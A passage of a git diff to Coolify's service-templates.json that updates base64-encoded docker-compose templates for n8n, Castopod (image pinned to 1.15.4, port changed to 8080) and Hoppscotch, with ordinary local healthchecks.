5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4L2hlYWx0aHonCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIG44bjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG4td29ya2VyOjU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtIE9GRkxPQURfTUFOVUFMX0VYRUNVVElPTlNfVE9fV09SS0VSUz10cnVlCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG44bi13b3JrZXI6CiAgICBpbWFnZTogJ244bmlvL244bjoyLjEwLjQnCiAgICBjb21tYW5kOiB3b3JrZXIKICAgIGVudmlyb25tZW50OgogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotVVRDfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUj0ke044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUjotdHJ1ZX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4L2hlYWx0aHonCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIG44bjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG4td29ya2VyOjU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "n8n", "workflow", diff --git a/templates/service-templates.json b/templates/service-templates.json index 5307b2259..49f1f126f 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -489,7 +489,7 @@ "castopod": { "documentation": "https://docs.castopod.org/main/en/?utm_source=coolify.io", "slogan": "Castopod is a free & open-source hosting platform made for podcasters who want engage and interact with their audience.", - "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DQVNUT1BPRF84MDAwCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtICdDUF9ESVNBQkxFX0hUVFBTPSR7Q1BfRElTQUJMRV9IVFRQUzotMX0nCiAgICAgIC0gQ1BfQkFTRVVSTD0kU0VSVklDRV9GUUROX0NBU1RPUE9ECiAgICAgIC0gQ1BfQU5BTFlUSUNTX1NBTFQ9JFNFUlZJQ0VfUkVBTEJBU0U2NF82NF9TQUxUCiAgICAgIC0gQ1BfQ0FDSEVfSEFORExFUj1yZWRpcwogICAgICAtIENQX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBDUF9SRURJU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwMDAvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBtYXJpYWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS4yJwogICAgdm9sdW1lczoKICAgICAgLSAnY2FzdG9wb2QtZGI6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBNWVNRTF9ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcuMi1hbHBpbmUnCiAgICBjb21tYW5kOiAnLS1yZXF1aXJlcGFzcyAkU0VSVklDRV9QQVNTV09SRF9SRURJUycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWNhY2hlOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdyZWRpcy1jbGkgLWEgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMgcGluZyB8IGdyZXAgUE9ORycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOjEuMTUuNCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DQVNUT1BPRF84MDgwCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtICdDUF9ESVNBQkxFX0hUVFBTPSR7Q1BfRElTQUJMRV9IVFRQUzotMX0nCiAgICAgIC0gQ1BfQkFTRVVSTD0kU0VSVklDRV9GUUROX0NBU1RPUE9ECiAgICAgIC0gQ1BfQU5BTFlUSUNTX1NBTFQ9JFNFUlZJQ0VfUkVBTEJBU0U2NF82NF9TQUxUCiAgICAgIC0gQ1BfQ0FDSEVfSEFORExFUj1yZWRpcwogICAgICAtIENQX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBDUF9SRURJU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwODAvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBtYXJpYWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS4yJwogICAgdm9sdW1lczoKICAgICAgLSAnY2FzdG9wb2QtZGI6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBNWVNRTF9ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcuMi1hbHBpbmUnCiAgICBjb21tYW5kOiAnLS1yZXF1aXJlcGFzcyAkU0VSVklDRV9QQVNTV09SRF9SRURJUycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWNhY2hlOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdyZWRpcy1jbGkgLWEgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMgcGluZyB8IGdyZXAgUE9ORycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "podcast", "media", @@ -503,7 +503,7 @@ "category": "media", "logo": "svgs/castopod.svg", "minversion": "0.0.0", - "port": "8000" + "port": "8080" }, "changedetection": { "documentation": "https://github.com/dgtlmoon/changedetection.io/?utm_source=coolify.io", @@ -2030,7 +2030,7 @@ "hoppscotch": { "documentation": "https://docs.hoppscotch.io?utm_source=coolify.io", "slogan": "The Open Source API Development Platform", - "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9IT1BQU0NPVENIXzgwCiAgICAgIC0gJ1ZJVEVfQUxMT1dFRF9BVVRIX1BST1ZJREVSUz0ke1ZJVEVfQUxMT1dFRF9BVVRIX1BST1ZJREVSUzotR09PR0xFLEdJVEhVQixNSUNST1NPRlQsRU1BSUx9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QGhvcHBzY290Y2gtZGI6NTQzMi8ke1BPU1RHUkVTX0RCfScKICAgICAgLSAnREFUQV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0X0RBVEFFTkNSWVBUSU9OS0VZfScKICAgICAgLSAnV0hJVEVMSVNURURfT1JJR0lOUz0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kLCR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9LCR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2FkbWluJwogICAgICAtICdNQUlMRVJfVVNFX0NVU1RPTV9DT05GSUdTPSR7TUFJTEVSX1VTRV9DVVNUT01fQ09ORklHUzotdHJ1ZX0nCiAgICAgIC0gJ1ZJVEVfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfU0hPUlRDT0RFX0JBU0VfVVJMPSR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9JwogICAgICAtICdWSVRFX0FETUlOX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9hZG1pbicKICAgICAgLSAnVklURV9CQUNLRU5EX0dRTF9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYmFja2VuZC9ncmFwaHFsJwogICAgICAtICdWSVRFX0JBQ0tFTkRfV1NfVVJMPXdzczovLyR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2JhY2tlbmQvZ3JhcGhxbCcKICAgICAgLSAnVklURV9CQUNLRU5EX0FQSV9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYmFja2VuZC92MScKICAgICAgLSAnVklURV9BUFBfVE9TX0xJTks9aHR0cHM6Ly9kb2NzLmhvcHBzY290Y2guaW8vc3VwcG9ydC90ZXJtcycKICAgICAgLSAnVklURV9BUFBfUFJJVkFDWV9QT0xJQ1lfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3ByaXZhY3knCiAgICAgIC0gRU5BQkxFX1NVQlBBVEhfQkFTRURfQUNDRVNTPXRydWUKICAgIGRlcGVuZHNfb246CiAgICAgIGRiLW1pZ3JhdGlvbjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfY29tcGxldGVkX3N1Y2Nlc3NmdWxseQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBob3Bwc2NvdGNoLWRiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotaG9wcHNjb3RjaH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLWggbG9jYWxob3N0IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgI